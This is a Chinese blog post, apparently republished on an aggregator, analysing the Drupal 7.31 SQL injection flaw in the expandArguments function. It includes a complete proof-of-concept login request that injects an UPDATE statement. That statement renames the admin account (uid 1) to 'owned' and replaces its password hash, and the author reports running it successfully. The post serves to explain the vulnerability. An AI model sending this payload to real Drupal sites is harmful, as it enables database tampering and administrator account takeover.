zoukankan      html  css  js  c++  java
  • Drupal 7.31 SQL注射分析POC

    此漏洞昨日爆发 ,我们有时间去看看今天的代码。

    于Drupal于,跑sql声明使用PDO型号,这是一般能够避免大部分的注射,由于使用占位符的sql语法语句是限制。

    但是,这并不意味着绝对安全,。

    在Drupal的user模块中,找到user.module:

    $account = db_query("SELECT * FROM {users} WHERE name = :name AND status = 1", array(':name' => $form_state['values']['name']))->fetchObject();

    这里的:name就是占位符,它的内容来源于后面的$form_state。

    跟进这个db_query函数。看看是怎样处理表单数据的。

    折腾完,找到了expandArguments函数,这个函数的作用就是用前面db_query的參数进行终于查询语句的获取,正是因为这个函数对$key值的处理不当导致了漏洞的产生。

    POC:

    name[0%20;update users set name%3d'owned',pass%3d'$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld' where uid %3d 1;%23%20%20]=admin&name[0]=111111&pass=shit2&test2=test&form_build_id=&form_id=user_login_block&op=Log+in

    POC中的name数组就是传到函数中的Array。然后使用expandArguments函数对其进行处理。

    在处理的过程中。以这样的方式得到新的数组:

    $new_keys[$key . '_' . $i] = $value;

    最后获取query语句的时候。会用到这个$new_keys。

    $query = preg_replace('#' . $key . '#', implode(', ', array_keys($new_keys)), $query);
    

    那么问题就来了。假设能够控制这个$key,那么我们就能够构造出语句进行运行(注意:PDO模型能够多条运行语句)。

    分析POC,对函数进行分析调试:

    能够看到,expandArguments函数就是把传递进来的name一层一层分离。最后将key带入终于的sql语句生成过程。上图最后的query就是终于要运行的SQL语句,问题是PDO能够多条运行,所以update语句就会运行成功了。

    归结于一句话:Drupal使用:name进行SQL语句拼接,expandArgument函数将:name变为:name0中,使用:name_$key0的方式完毕,这个$key是可控的,所以导致漏洞产生。

    运行结果例如以下:


    把我之前的admin用户给覆盖了。

    POC中的密码是使用了drupal内置的一个生成脚本进行生成的,即scripts中的password-hash.sh。

    这个漏洞威力也非常大,由于你控制了对方的数据库。如此灵活的条件。势必会引发很多其它花样的攻击手段。

    这个漏洞给我的感受就是:“没有绝对的安全”。

    【转载请注明出处】

    

    版权声明:本文博主原创文章,博客,未经同意不得转载。

  • 相关阅读:
    寒假Day31:CSU1508地图的四着色bfs+dfs
    寒假Day32:链式前向星
    寒假Day30:HDU4507吉哥系列故事恨7不成妻数位dp
    寒假Day35:HTML表格+图像+超链接
    寒假Day35:2018蓝桥杯 B组
    寒假Day33:HTML入门
    寒假Day30:二叉树的遍历相关题型(求先序或后序、搜索树的判断)
    POJ 1177 Picture (线段树+离散化+扫描线) 详解
    MFC对话框中文出现乱码的解决方法
    如何枚举系统COM串口
  • 原文地址:https://www.cnblogs.com/zfyouxi/p/4793915.html
Copyright © 2011-2022 走看看